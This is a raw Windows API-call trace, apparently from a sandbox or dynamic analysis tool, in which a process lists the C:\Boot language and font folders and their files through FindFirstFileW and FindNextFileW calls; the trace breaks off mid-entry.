[0050.062] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="da-DK", cAlternateFileName="")) returned 1 [0050.062] GetLastError () returned 0x12 [0050.062] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*" (normalized: "c:\\boot\\da-dk\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.062] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.063] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.063] GetLastError () returned 0x12 [0050.063] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.063] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.063] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.063] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="de-DE", cAlternateFileName="")) returned 1 [0050.063] GetLastError () returned 0x12 [0050.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*" (normalized: "c:\\boot\\de-de\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.063] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.063] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.063] GetLastError () returned 0x12 [0050.063] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.063] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.063] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.063] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="el-GR", cAlternateFileName="")) returned 1 [0050.063] GetLastError () returned 0x12 [0050.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*" (normalized: "c:\\boot\\el-gr\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.064] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.064] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.064] GetLastError () returned 0x12 [0050.064] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.064] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.064] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.064] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="en-US", cAlternateFileName="")) returned 1 [0050.064] GetLastError () returned 0x12 [0050.064] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*" (normalized: "c:\\boot\\en-us\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.064] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.064] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.064] GetLastError () returned 0x12 [0050.065] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0050.065] GetLastError () returned 0x12 [0050.065] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0050.065] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.065] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.065] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="es-ES", cAlternateFileName="")) returned 1 [0050.065] GetLastError () returned 0x12 [0050.065] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*" (normalized: "c:\\boot\\es-es\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.065] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.065] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.065] GetLastError () returned 0x12 [0050.065] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.065] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.065] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.065] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0050.066] GetLastError () returned 0x12 [0050.066] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*" (normalized: "c:\\boot\\fi-fi\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.066] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.066] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0050.066] GetLastError () returned 0x12 [0050.066] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0050.066] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.066] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.066] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Fonts", cAlternateFileName="")) returned 1 [0050.066] GetLastError () returned 0x12 [0050.066] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*" (normalized: "c:\\boot\\fonts\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.077] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.077] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0050.077] GetLastError () returned 0x12 [0050.077] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0050.077] GetLastError () returned 0x12 [0050.078] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957426c0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x957426c0, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0050.078] GetLastError () returned 0x12 [0050.078] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957426c0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x957426c0, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0050.078] GetLastError () returned 0x12 [0050.078] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95768820, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0050.078] GetLastError () returned 0x12 [0050.078] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95768820, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0050.078] FindClose (in: hFindFile=0x4d41a8 | out: hFindFile=0x4d41a8) returned 1 [0050.078] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x2a873a8 | out: hHeap=0xab0000) returned 1 [0050.078] FindNextFileW (in: hFindFile=0x4c8c78, lpFindFileData=0x2caf3f0 | out: lpFindFileData=0x2caf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0050.078] GetLastError () returned 0x12 [0050.078] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*" (normalized: "c:\\boot\\fr-fr\\*"), lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d41a8 [0050.079] FindNextFileW (in: hFindFile=0x4d41a8, lpFindFileData=0x2caf16c | out: lpFindFileData=0x2caf16c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, 